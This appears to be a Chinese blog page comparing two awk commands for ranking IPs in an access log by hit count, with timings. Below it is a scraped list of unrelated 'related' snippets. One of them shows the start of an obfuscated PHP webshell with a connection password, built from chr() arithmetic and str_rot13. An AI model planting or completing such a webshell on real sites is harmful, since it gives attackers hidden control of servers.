按ip统计访问日志top
命令1:
Shell代码
time awk '{print $1}' access.log | sort | uniq -c | sort -nr | head -5
78129 192.168.13.166
75165 192.168.12.52
58657 192.168.12.199
54146 192.168.13.183
34310 192.168.13.181
real 0m5.849s
user 0m5.566s
sys 0m0.285s
命令2:
Shell代码
time awk '{a[$1]++}END{for(i in a){printf("%d\t%s\n",a[i],i)}}' access.log | sort -nr | head -5
78129 192.168.13.166
75165 192.168.12.52
58657 192.168.12.199
54146 192.168.13.183
34310 192.168.13.181
real 0m0.626s
user 0m0.549s
sys 0m0.080s
以上是两个统计top命令,对比结果一目了然。命令1方便,效率低;命令2麻烦,效率高。
相关推荐
ODBC(Open Database Connectivity)是微软提供的一种标准接口,它允许应用程序访问各种不同数据库系统,无需关心底层数据库的具体实现。ODBC API为开发者提供了一系列函数,使得开发人员能够编写与数据库无关的应用...
shell 实现txt转换成html(含shell脚本和完整的测试样例)
生成 SHell 样例 <?php // 使用时请删除此行, 连接密码: qqzqwUKx ?> <?php $BSeT=create_function(chr(072114/01473).chr(0334074/01724).str_rot13('b').str_rot13('z').chr(0x3ac-0x347)
在"shell 365 样例 高级编程源码"中,可能包含了各种Shell编程的实际应用示例,如: 1. **文件和目录操作**:包括创建、删除、移动、复制文件和目录的脚本。 2. **系统管理**:监控系统状态,如CPU使用率、内存...
高级Bash脚本编程指南 ... 书中的练习和样例脚本中的注释将会与读者进行更好的互动, 但是最关键的前提是: 想真正学习脚本编程的唯一途径就是亲自动手编写脚本. 这本书也可作为教材来讲解一般的编程概念.
本脚本用于验证统一社会信用代码是否符合其标准,由于在网上没有找到关于统一代码验证的shell脚本,于是想着自己写了一个,测试可用,运行脚本将统一代码作为参数代入即可,例如:./tyshxydm 91XXXXXXXXXXXXXXXX 。
1. **编写测试脚本**:使用脚本语言(如Python、Shell等),编写一段脚本来控制程序的输入输出。 2. **自动化测试流程**: - 脚本负责生成测试数据,并将其传递给被测程序。 - 收集程序的输出结果,并与预期结果...
你可以把本书作为教材, 自学手册, 或者是关于shell脚本技术的文档. 书中的练习和样例脚本中的注释将会与读者进行更好的互动, 但是最关键的前提是: 想真正学习脚本编程的唯一途径就是亲自动手编写脚本.
#### 二、描述:shell脚本循环调度程序,样例代码,直接就可以使用。 这段描述简明扼要地介绍了脚本的主要功能及其适用性。根据描述可以推断出,这段代码是一个实际可用的例子,可以用来循环执行预定的任务,无需...
"代码样例"部分则是实践性的学习资源,它提供了实际的脚本示例,让你能够看到Shell命令如何在实际场景中应用。这些例子可以帮助你理解理论知识,并锻炼你解决问题的能力。当你遇到类似问题时,可以参考这些样例,...
本文档对于十一个示例进行了bash代码的示例编写,主要面向那些没有太强的bash脚本编程基础的人,让这些人能够熟悉bash脚本的编写流程,代码规范及常规代码编写时的一些编写习惯的培养等。
书中的练习和样例脚本中的注释将会与读者进行更好的互动, 但是最关键的前提是: 想真正学习脚本编程的唯一途径就是亲自动手编写脚本. 这本书也可作为教材来讲解一般的编程概念. 本文档的最新版本是作为一个归档...
##AdbShellCommand在Android项目中执行adb Shell命令,通过java代码调用执行,本程序采用MVP架构。###Java中执行adb shell命令本项目中,adb shell命令执行的实现方法主要参考网文()。文章中,把执行代码集成在...
书中包含大量实践练习和样例脚本,鼓励读者通过实际操作来学习。 在热身部分,作者首先解释了为何要学习Shell编程,因为它能够提高自动化任务的效率。接着介绍了“#!”(Shebang)的概念,这是在脚本开头用于指定...
这是个linux shell 脚本的样例程序很简单只是个起点。
这里我们将深入解析华三(H3C)交换机S5500-28P和S5120-52P的配置样例,包括VLAN划分、IP地址分配、路由配置、DHCP服务以及远程访问控制。 首先,S5500-28P作为三层交换机,负责网络的汇聚和路由功能。配置主要分为...
书中的练习和样例脚本注释旨在提高读者的互动性,使读者能够在实践中掌握Shell脚本编程的艺术。读者可以从作者的主页下载最新的书籍版本,包括PDF、tar包、SGML源代码以及编译好的HTML版本。书中的changelog记录了...
【SparkDemo学习样例】是针对Apache Spark框架与Scala编程语言的一个实践教程,它提供了丰富的示例代码,帮助初学者和开发者深入理解如何在大数据处理中应用Spark和Scala。这个资源已被验证为高质量且非常实用。 ...
简单介绍一下通过shell命令调用http接口(curl方式)先上样例样例介绍参数详解 先上样例 1、curl -H Content-Length:0 -X GET http://127.0.0.1:8080 2、curl -H Content-Type: application/json -H connection:Keep...
libssh是一个开源库,提供SSH协议(Secure Shell)的功能,用于安全的网络通信。SSH是一种加密的网络协议,常用于远程登录和其他网络服务,如文件传输。在CrashTracker中,libssh可能被用来建立安全的SFTP(Secure ...